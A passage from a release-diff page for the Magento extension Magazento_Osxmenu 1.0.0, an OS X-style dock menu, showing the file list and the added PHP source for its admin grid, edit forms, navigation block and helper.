Magazento_Osxmenu - Version 1.0.0

Version Notes

1.0.0

Download this release

Release Info

Developer Magento Core Team
Extension Magazento_Osxmenu
Version 1.0.0
Comparing to
See all releases


Version 1.0.0

Files changed (51) hide show
  1. app/code/community/Magazento/Osxmenu/Block/Admin/Item.php +23 -0
  2. app/code/community/Magazento/Osxmenu/Block/Admin/Item/Edit.php +58 -0
  3. app/code/community/Magazento/Osxmenu/Block/Admin/Item/Edit/Form.php +52 -0
  4. app/code/community/Magazento/Osxmenu/Block/Admin/Item/Edit/Tab/Form.php +110 -0
  5. app/code/community/Magazento/Osxmenu/Block/Admin/Item/Edit/Tab/Other.php +34 -0
  6. app/code/community/Magazento/Osxmenu/Block/Admin/Item/Edit/Tabs.php +35 -0
  7. app/code/community/Magazento/Osxmenu/Block/Admin/Item/Grid.php +154 -0
  8. app/code/community/Magazento/Osxmenu/Block/Admin/Item/Grid/Renderer/Action.php +32 -0
  9. app/code/community/Magazento/Osxmenu/Block/Info.php +29 -0
  10. app/code/community/Magazento/Osxmenu/Block/Navigation.php +29 -0
  11. app/code/community/Magazento/Osxmenu/Helper/Data.php +67 -0
  12. app/code/community/Magazento/Osxmenu/Model/Data.php +9 -0
  13. app/code/community/Magazento/Osxmenu/Model/Item.php +22 -0
  14. app/code/community/Magazento/Osxmenu/Model/Mysql4/Item.php +76 -0
  15. app/code/community/Magazento/Osxmenu/Model/Mysql4/Item/Collection.php +41 -0
  16. app/code/community/Magazento/Osxmenu/Model/Wysiwyg/Config.php +26 -0
  17. app/code/community/Magazento/Osxmenu/controllers/Admin/ItemController.php +218 -0
  18. app/code/community/Magazento/Osxmenu/etc/config.xml +164 -0
  19. app/code/community/Magazento/Osxmenu/etc/system.xml +100 -0
  20. app/code/community/Magazento/Osxmenu/sql/osxmenu_setup/mysql4-install-1.0.0.php +61 -0
  21. app/design/frontend/default/default/layout/magazento_osxmenu.xml +24 -0
  22. app/design/frontend/default/default/template/magazento/osxmenu/navigation.phtml +20 -0
  23. app/etc/modules/Magazento_Osxmenu.xml +9 -0
  24. app/locale/en_US/Magazento_Osxmenu.csv +0 -0
  25. media/magazento_osxmenu/adobeAcrobat.png +0 -0
  26. media/magazento_osxmenu/aperture.png +0 -0
  27. media/magazento_osxmenu/calendar-sm.png +0 -0
  28. media/magazento_osxmenu/coda.png +0 -0
  29. media/magazento_osxmenu/email-sm.png +0 -0
  30. media/magazento_osxmenu/finder.png +0 -0
  31. media/magazento_osxmenu/history-sm.png +0 -0
  32. media/magazento_osxmenu/home-sm.png +0 -0
  33. media/magazento_osxmenu/icon-address.png +0 -0
  34. media/magazento_osxmenu/icon-applications.png +0 -0
  35. media/magazento_osxmenu/icon-calendar.png +0 -0
  36. media/magazento_osxmenu/icon-music.png +0 -0
  37. media/magazento_osxmenu/icon-photo.png +0 -0
  38. media/magazento_osxmenu/icon-pictures.png +0 -0
  39. media/magazento_osxmenu/icon-text.png +0 -0
  40. media/magazento_osxmenu/link-sm.png +0 -0
  41. media/magazento_osxmenu/music-sm.png +0 -0
  42. media/magazento_osxmenu/photoshop.png +0 -0
  43. media/magazento_osxmenu/portfolio-sm.png +0 -0
  44. media/magazento_osxmenu/rss-sm.png +0 -0
  45. media/magazento_osxmenu/rss2-sm.png +0 -0
  46. media/magazento_osxmenu/safari.png +0 -0
  47. media/magazento_osxmenu/video-sm.png +0 -0
  48. package.xml +18 -0
  49. skin/frontend/default/default/magazento/jquery-1.5.1.min.js +16 -0
  50. skin/frontend/default/default/magazento/osxmenu/jquery.jqDock.min.js +533 -0
  51. skin/frontend/default/default/magazento/osxmenu/style.css +17 -0
app/code/community/Magazento/Osxmenu/Block/Admin/Item.php ADDED
@@ -0,0 +1,23 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ * Created on Mar 16, 2011
4
+ * Author Ivan Proskuryakov - volgodark@gmail.com - Magazento.com
5
+ * Copyright Proskuryakov Ivan. Magazento.com © 2011. All Rights Reserved.
6
+ * Single Use, Limited Licence and Single Use No Resale Licence ["Single Use"]
7
+ */
8
+ ?>
9
+ <?php
10
+
11
+ class Magazento_Osxmenu_Block_Admin_Item extends Mage_Adminhtml_Block_Widget_Grid_Container
12
+ {
13
+
14
+ public function __construct()
15
+ {
16
+ $this->_controller = 'admin_item';
17
+ $this->_blockGroup = 'osxmenu';
18
+ $this->_headerText = Mage::helper('osxmenu')->__('Osxmenu Items grid');
19
+ $this->_addButtonLabel = Mage::helper('osxmenu')->__('Add New Item');
20
+ parent::__construct();
21
+ }
22
+
23
+ }
app/code/community/Magazento/Osxmenu/Block/Admin/Item/Edit.php ADDED
@@ -0,0 +1,58 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ * Created on Mar 16, 2011
4
+ * Author Ivan Proskuryakov - volgodark@gmail.com - Magazento.com
5
+ * Copyright Proskuryakov Ivan. Magazento.com © 2011. All Rights Reserved.
6
+ * Single Use, Limited Licence and Single Use No Resale Licence ["Single Use"]
7
+ */
8
+ ?>
9
+ <?php
10
+
11
+ class Magazento_Osxmenu_Block_Admin_Item_Edit extends Mage_Adminhtml_Block_Widget_Form_Container
12
+ {
13
+
14
+ public function __construct()
15
+ {
16
+ $this->_objectId = 'item_id';
17
+ $this->_controller = 'admin_item';
18
+ $this->_blockGroup = 'osxmenu';
19
+
20
+ parent::__construct();
21
+
22
+ $this->_updateButton('save', 'label', Mage::helper('osxmenu')->__('Save Item'));
23
+ $this->_updateButton('delete', 'label', Mage::helper('osxmenu')->__('Delete Item'));
24
+
25
+ $this->_addButton('saveandcontinue', array(
26
+ 'label' => Mage::helper('adminhtml')->__('Save And Continue Edit'),
27
+ 'onclick' => 'saveAndContinueEdit()',
28
+ 'class' => 'save',
29
+ ), -100);
30
+
31
+
32
+ $this->_formScripts[] = "
33
+ function toggleEditor() {
34
+ if (tinyMCE.getInstanceById('block_content') == null) {
35
+ tinyMCE.execCommand('mceAddControl', false, 'block_content');
36
+ } else {
37
+ tinyMCE.execCommand('mceRemoveControl', false, 'block_content');
38
+ }
39
+ }
40
+
41
+ function saveAndContinueEdit(){
42
+ editForm.submit($('edit_form').action+'back/edit/');
43
+ }
44
+
45
+ ";
46
+ }
47
+
48
+ public function getHeaderText()
49
+ {
50
+ if (Mage::registry('osxmenu_item')->getId()) {
51
+ return Mage::helper('osxmenu')->__("Edit Item '%s'", $this->htmlEscape(Mage::registry('osxmenu_item')->getTitle()));
52
+ }
53
+ else {
54
+ return Mage::helper('osxmenu')->__('New Item');
55
+ }
56
+ }
57
+
58
+ }
app/code/community/Magazento/Osxmenu/Block/Admin/Item/Edit/Form.php ADDED
@@ -0,0 +1,52 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ * Created on Mar 16, 2011
4
+ * Author Ivan Proskuryakov - volgodark@gmail.com - Magazento.com
5
+ * Copyright Proskuryakov Ivan. Magazento.com © 2011. All Rights Reserved.
6
+ * Single Use, Limited Licence and Single Use No Resale Licence ["Single Use"]
7
+ */
8
+ ?>
9
+ <?php
10
+
11
+ class Magazento_Osxmenu_Block_Admin_Item_Edit_Form extends Mage_Adminhtml_Block_Widget_Form
12
+ {
13
+
14
+
15
+ protected function _prepareLayout() {
16
+ parent::_prepareLayout();
17
+ if (Mage::helper('osxmenu')->versionUseWysiwig()) {
18
+ if (Mage::getSingleton('cms/wysiwyg_config')->isEnabled()) {
19
+ $this->getLayout()->getBlock('head')->setCanLoadTinyMce(true);
20
+
21
+ $this->getLayout()->getBlock('head')->addJs('mage/adminhtml/variables.js');
22
+ $this->getLayout()->getBlock('head')->addJs('mage/adminhtml/wysiwyg/widget.js');
23
+ $this->getLayout()->getBlock('head')->addJs('lib/flex.js');
24
+ $this->getLayout()->getBlock('head')->addJs('lib/FABridge.js');
25
+ $this->getLayout()->getBlock('head')->addJs('mage/adminhtml/flexuploader.js');
26
+ $this->getLayout()->getBlock('head')->addJs('mage/adminhtml/browser.js');
27
+ $this->getLayout()->getBlock('head')->addJs('extjs/ext-tree.js');
28
+ $this->getLayout()->getBlock('head')->addJs('extjs/ext-tree-checkbox.js');
29
+
30
+ $this->getLayout()->getBlock('head')->addItem('js_css', 'extjs/resources/css/ext-all.css');
31
+ $this->getLayout()->getBlock('head')->addItem('js_css', 'extjs/resources/css/ytheme-magento.css');
32
+ $this->getLayout()->getBlock('head')->addItem('js_css', 'prototype/windows/themes/default.css');
33
+ $this->getLayout()->getBlock('head')->addItem('js_css', 'prototype/windows/themes/magento.css');
34
+ }
35
+ }
36
+ }
37
+
38
+ protected function _prepareForm()
39
+ {
40
+ $form = new Varien_Data_Form(array(
41
+ 'id' => 'edit_form',
42
+ 'action' => $this->getUrl('*/*/save', array('id' => $this->getRequest()->getParam('id'))),
43
+ 'method' => 'post',
44
+ 'enctype' => 'multipart/form-data'
45
+ )
46
+ );
47
+
48
+ $form->setUseContainer(true);
49
+ $this->setForm($form);
50
+ return parent::_prepareForm();
51
+ }
52
+ }
app/code/community/Magazento/Osxmenu/Block/Admin/Item/Edit/Tab/Form.php ADDED
@@ -0,0 +1,110 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ * Created on Mar 16, 2011
4
+ * Author Ivan Proskuryakov - volgodark@gmail.com - Magazento.com
5
+ * Copyright Proskuryakov Ivan. Magazento.com © 2011. All Rights Reserved.
6
+ * Single Use, Limited Licence and Single Use No Resale Licence ["Single Use"]
7
+ */
8
+ ?>
9
+ <?php
10
+
11
+ class Magazento_Osxmenu_Block_Admin_Item_Edit_Tab_Form extends Mage_Adminhtml_Block_Widget_Form {
12
+
13
+
14
+ protected function _prepareForm() {
15
+ $model = Mage::registry('osxmenu_item');
16
+ $form = new Varien_Data_Form(array('id' => 'edit_form_item', 'action' => $this->getData('action'), 'method' => 'post'));
17
+ $form->setHtmlIdPrefix('item_');
18
+ $fieldset = $form->addFieldset('base_fieldset', array('legend' => Mage::helper('osxmenu')->__('General Information'), 'class' => 'fieldset-wide'));
19
+ if ($model->getItemId()) {
20
+ $fieldset->addField('item_id', 'hidden', array(
21
+ 'name' => 'item_id',
22
+ ));
23
+ }
24
+
25
+ $fieldset->addField('title', 'text', array(
26
+ 'name' => 'title',
27
+ 'label' => Mage::helper('osxmenu')->__('Title'),
28
+ 'title' => Mage::helper('osxmenu')->__('Title'),
29
+ 'required' => true,
30
+ ));
31
+ $fieldset->addField('url', 'text', array(
32
+ 'name' => 'url',
33
+ 'label' => Mage::helper('osxmenu')->__('Url'),
34
+ 'title' => Mage::helper('osxmenu')->__('Url'),
35
+ 'required' => false,
36
+ ));
37
+ $fieldset->addField('image', 'text', array(
38
+ 'name' => 'image',
39
+ 'label' => Mage::helper('osxmenu')->__('Image'),
40
+ 'title' => Mage::helper('osxmenu')->__('Image'),
41
+ 'required' => false,
42
+ ));
43
+
44
+ $fieldset->addField('position', 'select', array(
45
+ 'name' => 'position',
46
+ 'label' => Mage::helper('osxmenu')->__('Position'),
47
+ 'title' => Mage::helper('osxmenu')->__('Position'),
48
+ 'required' => true,
49
+ 'options' => Mage::helper('osxmenu')->numberArray(20,Mage::helper('osxmenu')->__('')),
50
+ ));
51
+ if (!Mage::app()->isSingleStoreMode()) {
52
+ $fieldset->addField('store_id', 'multiselect', array(
53
+ 'name' => 'stores[]',
54
+ 'label' => Mage::helper('osxmenu')->__('Store View'),
55
+ 'title' => Mage::helper('osxmenu')->__('Store View'),
56
+ 'required' => true,
57
+ 'values' => Mage::getSingleton('adminhtml/system_store')->getStoreValuesForForm(false, true),
58
+ 'style' => 'height:150px',
59
+ ));
60
+ } else {
61
+ $fieldset->addField('store_id', 'hidden', array(
62
+ 'name' => 'stores[]',
63
+ 'value' => Mage::app()->getStore(true)->getId()
64
+ ));
65
+ $model->setStoreId(Mage::app()->getStore(true)->getId());
66
+ }
67
+
68
+
69
+ $fieldset->addField('is_active', 'select', array(
70
+ 'label' => Mage::helper('osxmenu')->__('Status'),
71
+ 'title' => Mage::helper('osxmenu')->__('Status'),
72
+ 'name' => 'is_active',
73
+ 'required' => true,
74
+ 'options' => array(
75
+ '1' => Mage::helper('osxmenu')->__('Enabled'),
76
+ '0' => Mage::helper('osxmenu')->__('Disabled'),
77
+ ),
78
+ ));
79
+
80
+ $dateFormatIso = Mage::app()->getLocale()->getDateTimeFormat(Mage_Core_Model_Locale::FORMAT_TYPE_MEDIUM);
81
+ $fieldset->addField('from_time', 'date', array(
82
+ 'name' => 'from_time',
83
+ 'time' => true,
84
+ 'label' => Mage::helper('osxmenu')->__('From Time'),
85
+ 'title' => Mage::helper('osxmenu')->__('From Time'),
86
+ 'image' => $this->getSkinUrl('images/grid-cal.gif'),
87
+ 'input_format' => Varien_Date::DATETIME_INTERNAL_FORMAT,
88
+ 'format' => $dateFormatIso,
89
+ ));
90
+
91
+ $fieldset->addField('to_time', 'date', array(
92
+ 'name' => 'to_time',
93
+ 'time' => true,
94
+ 'label' => Mage::helper('osxmenu')->__('To Time'),
95
+ 'title' => Mage::helper('osxmenu')->__('To Time'),
96
+ 'image' => $this->getSkinUrl('images/grid-cal.gif'),
97
+ 'input_format' => Varien_Date::DATETIME_INTERNAL_FORMAT,
98
+ 'format' => $dateFormatIso,
99
+ ));
100
+
101
+ // print_r($model->getData());
102
+ // exit();
103
+ // $form->setUseContainer(true);
104
+ $form->setValues($model->getData());
105
+ $this->setForm($form);
106
+
107
+ return parent::_prepareForm();
108
+ }
109
+
110
+ }
app/code/community/Magazento/Osxmenu/Block/Admin/Item/Edit/Tab/Other.php ADDED
@@ -0,0 +1,34 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ * Created on Mar 16, 2011
4
+ * Author Ivan Proskuryakov - volgodark@gmail.com - Magazento.com
5
+ * Copyright Proskuryakov Ivan. Magazento.com © 2011. All Rights Reserved.
6
+ * Single Use, Limited Licence and Single Use No Resale Licence ["Single Use"]
7
+ */
8
+ ?>
9
+ <?php
10
+ class Magazento_Osxmenu_Block_Admin_Item_Edit_Tab_Other extends Mage_Adminhtml_Block_Widget_Form
11
+ {
12
+ protected function _prepareForm()
13
+ {
14
+ $model = Mage::registry('osxmenu_item');
15
+ $form = new Varien_Data_Form();
16
+ $this->setForm($form);
17
+ $fieldset = $form->addFieldset('additional_form', array('legend'=>Mage::helper('osxmenu')->__('Additional information ')));
18
+
19
+
20
+
21
+ $fieldset->addField('samplefield', 'text', array(
22
+ 'name' => 'samplefield',
23
+ 'label' => Mage::helper('osxmenu')->__('Samplefield'),
24
+ 'title' => Mage::helper('osxmenu')->__('Samplefield'),
25
+ 'required' => false,
26
+ ));
27
+
28
+ // $form->setUseContainer(true);
29
+ $form->setValues($model->getData());
30
+ $this->setForm($form);
31
+
32
+ return parent::_prepareForm();
33
+ }
34
+ }
app/code/community/Magazento/Osxmenu/Block/Admin/Item/Edit/Tabs.php ADDED
@@ -0,0 +1,35 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ * Created on Mar 16, 2011
4
+ * Author Ivan Proskuryakov - volgodark@gmail.com - Magazento.com
5
+ * Copyright Proskuryakov Ivan. Magazento.com © 2011. All Rights Reserved.
6
+ * Single Use, Limited Licence and Single Use No Resale Licence ["Single Use"]
7
+ */
8
+ ?>
9
+ <?php
10
+
11
+ class Magazento_Osxmenu_Block_Admin_Item_Edit_Tabs extends Mage_Adminhtml_Block_Widget_Tabs {
12
+
13
+ public function __construct() {
14
+ parent::__construct();
15
+ $this->setId('osxmenu_tabs');
16
+ $this->setDestElementId('edit_form');
17
+ $this->setTitle(Mage::helper('osxmenu')->__('Item Information'));
18
+ }
19
+
20
+ protected function _beforeToHtml() {
21
+ $this->addTab('form_section_item', array(
22
+ 'label' => Mage::helper('osxmenu')->__('Item Information'),
23
+ 'title' => Mage::helper('osxmenu')->__('Item Information'),
24
+ 'content' => $this->getLayout()->createBlock('osxmenu/admin_item_edit_tab_form')->toHtml(),
25
+ ));
26
+ // $this->addTab('form_section_other', array(
27
+ // 'label' => Mage::helper('osxmenu')->__('Item Information additional'),
28
+ // 'title' => Mage::helper('osxmenu')->__('Item Information additional'),
29
+ // 'content' => $this->getLayout()->createBlock('osxmenu/admin_item_edit_tab_other')->toHtml(),
30
+ // ));
31
+
32
+ return parent::_beforeToHtml();
33
+ }
34
+
35
+ }
app/code/community/Magazento/Osxmenu/Block/Admin/Item/Grid.php ADDED
@@ -0,0 +1,154 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+
3
+ /*
4
+ * Created on Mar 16, 2011
5
+ * Author Ivan Proskuryakov - volgodark@gmail.com - Magazento.com
6
+ * Copyright Proskuryakov Ivan. Magazento.com © 2011. All Rights Reserved.
7
+ * Single Use, Limited Licence and Single Use No Resale Licence ["Single Use"]
8
+ */
9
+ ?>
10
+ <?php
11
+
12
+ class Magazento_Osxmenu_Block_Admin_Item_Grid extends Mage_Adminhtml_Block_Widget_Grid {
13
+
14
+ public function __construct() {
15
+ parent::__construct();
16
+ $this->setId('OsxmenuGrid');
17
+ $this->setDefaultSort('position');
18
+ $this->setDefaultDir('ASC');
19
+ }
20
+
21
+ protected function _prepareCollection() {
22
+ $collection = Mage::getModel('osxmenu/item')->getCollection();
23
+ $this->setCollection($collection);
24
+ return parent::_prepareCollection();
25
+ }
26
+
27
+ protected function _prepareColumns() {
28
+
29
+ $baseUrl = $this->getUrl();
30
+ $this->addColumn('item_id', array(
31
+ 'header' => Mage::helper('osxmenu')->__('ID'),
32
+ 'align' => 'left',
33
+ 'width' => '30px',
34
+ 'index' => 'item_id',
35
+ ));
36
+ $this->addColumn('title', array(
37
+ 'header' => Mage::helper('osxmenu')->__('Title'),
38
+ 'align' => 'left',
39
+ 'index' => 'title',
40
+ ));
41
+
42
+ $this->addColumn('position', array(
43
+ 'header' => Mage::helper('osxmenu')->__('Position'),
44
+ 'align' => 'left',
45
+ 'index' => 'position',
46
+ 'width' => '30px',
47
+ ));
48
+ $this->addColumn('url', array(
49
+ 'header' => Mage::helper('osxmenu')->__('Url'),
50
+ 'align' => 'left',
51
+ 'index' => 'url',
52
+ ));
53
+ $this->addColumn('thumb', array(
54
+ 'header' => Mage::helper('osxmenu')->__('Thumb'),
55
+ 'type' => 'text',
56
+ 'width' => 100,
57
+ 'index' => 'thumb',
58
+ ));
59
+
60
+
61
+ if (!Mage::app()->isSingleStoreMode()) {
62
+ $this->addColumn('store_id', array(
63
+ 'header' => Mage::helper('osxmenu')->__('Store View'),
64
+ 'index' => 'store_id',
65
+ 'type' => 'store',
66
+ 'store_all' => true,
67
+ 'store_view' => true,
68
+ 'sortable' => false,
69
+ 'filter_condition_callback'
70
+ => array($this, '_filterStoreCondition'),
71
+ ));
72
+ }
73
+ $this->addColumn('is_active', array(
74
+ 'header' => Mage::helper('osxmenu')->__('Status'),
75
+ 'index' => 'is_active',
76
+ 'type' => 'options',
77
+ 'options' => array(
78
+ 0 => Mage::helper('osxmenu')->__('Disabled'),
79
+ 1 => Mage::helper('osxmenu')->__('Enabled'),
80
+ ),
81
+ ));
82
+
83
+ $this->addColumn('from_time', array(
84
+ 'header' => Mage::helper('osxmenu')->__('From Time'),
85
+ 'index' => 'from_time',
86
+ 'type' => 'datetime',
87
+ ));
88
+
89
+ $this->addColumn('to_time', array(
90
+ 'header' => Mage::helper('osxmenu')->__('To Time'),
91
+ 'index' => 'to_time',
92
+ 'type' => 'datetime',
93
+ ));
94
+
95
+ $this->addColumn('action',
96
+ array(
97
+ 'header' => Mage::helper('osxmenu')->__('Action'),
98
+ 'index' => 'item_id',
99
+ 'sortable' => false,
100
+ 'filter' => false,
101
+ 'no_link' => true,
102
+ 'width' => '100px',
103
+ 'renderer' => 'osxmenu/admin_item_grid_renderer_action'
104
+ ));
105
+ $this->addExportType('*/*/exportCsv', Mage::helper('osxmenu')->__('CSV'));
106
+ $this->addExportType('*/*/exportXml', Mage::helper('osxmenu')->__('XML'));
107
+ return parent::_prepareColumns();
108
+ }
109
+
110
+ protected function _afterLoadCollection() {
111
+ $this->getCollection()->walk('afterLoad');
112
+ parent::_afterLoadCollection();
113
+ }
114
+
115
+ protected function _filterStoreCondition($collection, $column) {
116
+ if (!$value = $column->getFilter()->getValue()) {
117
+ return;
118
+ }
119
+ $this->getCollection()->addStoreFilter($value);
120
+ }
121
+
122
+ protected function _prepareMassaction() {
123
+ $this->setMassactionIdField('item_id');
124
+ $this->getMassactionBlock()->setFormFieldName('massaction');
125
+ $this->getMassactionBlock()->addItem('delete', array(
126
+ 'label' => Mage::helper('osxmenu')->__('Delete'),
127
+ 'url' => $this->getUrl('*/*/massDelete'),
128
+ 'confirm' => Mage::helper('osxmenu')->__('Are you sure?')
129
+ ));
130
+
131
+ $this->getMassactionBlock()->addItem('status', array(
132
+ 'label' => Mage::helper('osxmenu')->__('Change status'),
133
+ 'url' => $this->getUrl('*/*/massStatus', array('_current' => true)),
134
+ 'additional' => array(
135
+ 'visibility' => array(
136
+ 'name' => 'status',
137
+ 'type' => 'select',
138
+ 'class' => 'required-entry',
139
+ 'label' => Mage::helper('osxmenu')->__('Status'),
140
+ 'values' => array(
141
+ 0 => Mage::helper('osxmenu')->__('Disabled'),
142
+ 1 => Mage::helper('osxmenu')->__('Enabled'),
143
+ ),
144
+ )
145
+ )
146
+ ));
147
+ return $this;
148
+ }
149
+
150
+ public function getRowUrl($row) {
151
+ return $this->getUrl('*/*/edit', array('item_id' => $row->getId()));
152
+ }
153
+
154
+ }
app/code/community/Magazento/Osxmenu/Block/Admin/Item/Grid/Renderer/Action.php ADDED
@@ -0,0 +1,32 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ * Created on Mar 16, 2011
4
+ * Author Ivan Proskuryakov - volgodark@gmail.com - Magazento.com
5
+ * Copyright Proskuryakov Ivan. Magazento.com © 2011. All Rights Reserved.
6
+ * Single Use, Limited Licence and Single Use No Resale Licence ["Single Use"]
7
+ */
8
+ ?>
9
+ <?php
10
+
11
+
12
+ class Magazento_Osxmenu_Block_Admin_Item_Grid_Renderer_Action extends Mage_Adminhtml_Block_Widget_Grid_Column_Renderer_Action
13
+ {
14
+ public function render(Varien_Object $row)
15
+ {
16
+
17
+ $actions[] = array(
18
+ 'url' => $this->getUrl('*/*/edit', array('item_id' => $row->getId())),
19
+ 'caption' => Mage::helper('osxmenu')->__('Edit')
20
+ );
21
+
22
+ $actions[] = array(
23
+ 'url' => $this->getUrl('*/*/delete', array('item_id' => $row->getId())),
24
+ 'caption' => Mage::helper('osxmenu')->__('Delete'),
25
+ 'confirm' => Mage::helper('osxmenu')->__('Are you sure you want to delete this item ?')
26
+ );
27
+
28
+ $this->getColumn()->setActions($actions);
29
+
30
+ return parent::render($row);
31
+ }
32
+ }
app/code/community/Magazento/Osxmenu/Block/Info.php ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ * Created on Mar 16, 2011
4
+ * Author Ivan Proskuryakov - volgodark@gmail.com - Magazento.com
5
+ * Copyright Proskuryakov Ivan. Magazento.com © 2011. All Rights Reserved.
6
+ * Single Use, Limited Licence and Single Use No Resale Licence ["Single Use"]
7
+ */
8
+ ?>
9
+
10
+ <?php
11
+
12
+ class Magazento_Osxmenu_Block_Info extends Mage_Adminhtml_Block_System_Config_Form_Fieldset {
13
+
14
+ public function __construct() {
15
+ parent::__construct();
16
+ }
17
+ public function render(Varien_Data_Form_Element_Abstract $element) {
18
+ $html = $this->_getHeaderHtml($element);
19
+ $html.= $this->_getFieldHtml($element);
20
+ $html .= $this->_getFooterHtml($element);
21
+ return $html;
22
+ }
23
+ protected function _getFieldHtml($fieldset) {
24
+ $content = 'This extension is developed by <a href="http://Magazento.com/" target="_blank">Magazento.com</a><br/>';
25
+ $content.= 'Magento Store Setup, modules, data migration, templates, upgrades and much more!';
26
+ return $content;
27
+ }
28
+
29
+ }
app/code/community/Magazento/Osxmenu/Block/Navigation.php ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ * Created on Mar 16, 2011
4
+ * Author Ivan Proskuryakov - volgodark@gmail.com - Magazento.com
5
+ * Copyright Proskuryakov Ivan. Magazento.com © 2011. All Rights Reserved.
6
+ * Single Use, Limited Licence and Single Use No Resale Licence ["Single Use"]
7
+ */
8
+ ?>
9
+
10
+ <?php
11
+ class Magazento_Osxmenu_Block_Navigation extends Mage_Core_Block_Template {
12
+
13
+ public function drawItems() {
14
+ $storeId = Mage::app()->getStore()->getId();
15
+ $storeUrl = Mage::getModel('core/store')->load($storeId)->getUrl();
16
+
17
+ $class = '';
18
+ $data=Mage::getModel('osxmenu/data')->getItems();
19
+ $html='';
20
+ $i=0;
21
+ foreach ($data as $item) {
22
+ $html .= '<li>';
23
+ $html .= '<a class="dockItem" href="'.$item['url'].'"><img src="'.$item['image'].'" alt="'.$item['title'].'" title="'.$item['title'].'" /></a>';
24
+ $html .= '</li>';
25
+ }
26
+ return $html;
27
+ }
28
+
29
+ }
app/code/community/Magazento/Osxmenu/Helper/Data.php ADDED
@@ -0,0 +1,67 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ * Created on Mar 16, 2011
4
+ * Author Ivan Proskuryakov - volgodark@gmail.com - Magazento.com
5
+ * Copyright Proskuryakov Ivan. Magazento.com © 2011. All Rights Reserved.
6
+ * Single Use, Limited Licence and Single Use No Resale Licence ["Single Use"]
7
+ */
8
+ ?>
9
+ <?php class Magazento_Osxmenu_Helper_Data extends Mage_Core_Helper_Abstract {
10
+
11
+ public function versionUseAdminTitle() {
12
+ $info = explode('.', Mage::getVersion());
13
+ if ($info[0] > 1) {
14
+ return true;
15
+ }
16
+ if ($info[1] > 3) {
17
+ return true;
18
+ }
19
+ return false;
20
+ }
21
+
22
+ public function versionUseWysiwig() {
23
+ $info = explode('.', Mage::getVersion());
24
+ if ($info[0] > 1) {
25
+ return true;
26
+ }
27
+ if ($info[1] > 3) {
28
+ return true;
29
+ }
30
+ return false;
31
+ }
32
+
33
+ public function numberArray($max,$text) {
34
+
35
+ $items = array();
36
+ for ($index = 1; $index <= $max; $index++) {
37
+ $items[$index]=$text.' '.$index;
38
+ }
39
+ return $items;
40
+ }
41
+
42
+ public function getSubCategories($parentId, $sorted=false, $asCollection=false, $toLoad=true)
43
+ {
44
+ $category = Mage::getModel('catalog/category');
45
+ /* @var $category Mage_Catalog_Model_Category */
46
+ if (!$category->checkId($parentId)) {
47
+ if ($asCollection) {
48
+ return new Varien_Data_Collection();
49
+ }
50
+ return array();
51
+ }
52
+
53
+ $tree = $category->getTreeModel();
54
+ /* @var $tree Mage_Catalog_Model_Resource_Eav_Mysql4_Category_Tree */
55
+ $nodes = $tree->loadNode($parentId)
56
+ ->loadChildren()
57
+ ->getChildren();
58
+
59
+ $tree->addCollectionData(null, $sorted, $parentId, $toLoad, true);
60
+
61
+ if ($asCollection) {
62
+ return $tree->getCollection();
63
+ } else {
64
+ return $nodes;
65
+ }
66
+ }
67
+ }
app/code/community/Magazento/Osxmenu/Model/Data.php ADDED
@@ -0,0 +1,9 @@
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ * Created on Mar 16, 2011
4
+ * Author Ivan Proskuryakov - volgodark@gmail.com - Magazento.com
5
+ * Copyright Proskuryakov Ivan. Magazento.com © 2011. All Rights Reserved.
6
+ * Single Use, Limited Licence and Single Use No Resale Licence ["Single Use"]
7
+ */
8
+ ?>
9
